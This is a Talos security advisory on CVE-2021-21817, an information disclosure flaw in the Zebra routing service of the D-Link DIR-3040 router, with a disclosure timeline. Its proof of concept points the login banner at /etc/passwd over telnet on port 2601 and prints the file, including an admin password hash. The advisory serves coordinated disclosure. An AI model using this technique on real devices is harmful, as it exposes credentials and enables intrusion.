Talos Vulnerability Report

TALOS-2021-1282

# D-LINK DIR-3040 Zebra IP routing manager information disclosure vulnerability

JULY 15, 2021

CVE NUMBER

CVE-2021-21817

## Summary

An information disclosure vulnerability exists in the Zebra IP Routing Manager functionality of D-LINK DIR-3040 1.13B03. A specially crafted network request can lead to the disclosure of sensitive information. An attacker can send a sequence of requests to trigger this vulnerability.

## Tested Versions

D-LINK DIR-3040 1.13B03

## Product URLs

https://us.dlink.com/en/products/dir-3040-smart-ac3000-high-power-wi-fi-tri-band-gigabit-router

## CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

## CWE

CWE-200 - Information Exposure

## Details

The DIR-3040 is an AC3000-based wireless internet router.

Zebra is an IP routing manager that provides kernel routing table updates, interface lookups, and redistribution of routes between different routing protocols.

The DIR-3040 runs this service by default on TCP port 2601 and can be accessed by anyone on the network. This service also uses a configuration file containing a hard-coded password that is discussed in TALOS-2021-1283.

However, another feature provided by the Zebra service is to change the login banner “Message of the Day” contents based on an arbitrary file on disk:

```
Router# configure terminal
Router(config)#
  access-list  Add an access list entry
  banner       Set banner string
  debug        Debugging functions (see also 'undebug')
  default      Configure defaults of settings
  enable       Modify enable password parameters
  end          End current mode and change to enable mode.
  exit         Exit current mode and down to previous mode
  fpm          fpm connection remote ip and port
  help         Description of the interactive help system
  hostname     Set system's network name
  interface    Select an interface to configure
  ip           IP information
  ipv6         IPv6 information
  line         Configure a terminal line
  list         Print command list
  log          Logging control
  no           Negate a command or set its defaults
  password     Assign the terminal connection password
  quit         Exit current mode and down to previous mode
  route-map    Create route-map or enter route-map command mode
  router-id    Manually set the router-id
  service      Set up miscellaneous service
  show         Show running system information
  table        Configure target kernel routing table
  vrf          Enable a VRF
  write        Write running configuration to memory, network, or terminal
Router(config)# banner motd
  default  Default string
  file     Banner from a file
Router(config)# banner motd file
  [FILE]  Filename
  <cr>
```

A client can set this file to something sensitive such as `/etc/passwd` to read its contents.

## Exploit Proof of Concept

```
Router(config)# banner motd file /etc/passwd
Router(config)# exit
Router# exit
Connection closed by foreign host.
$ telnet 192.168.100.1 2601
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.
admin:$1$aCkh/7OI$Z6d8WJ4iEIMKopn4HUptg.:0:0:Adminstrator:/:/bin/sh
nobody:x:1:500:Linux User,,,:/home/nobody:/bin/sh
root:x:2:600:Linux User,,,:/home/root:/bin/sh

User Access Verification

Password:
```

## Timeline

2021-04-28 - Vendor disclosure

2021-05-12 - Vendor acknowledged

2021-06-08 - Vendor provided patch for Talos to test

2021-06-09 - Talos provided feedback on patch

2021-06-23 - Talos follow up with vendor

2021-07-13 - Vendor patched

2021-07-15 - Public Release

## CREDIT

Discovered by Dave McDaniel of Cisco Talos.

---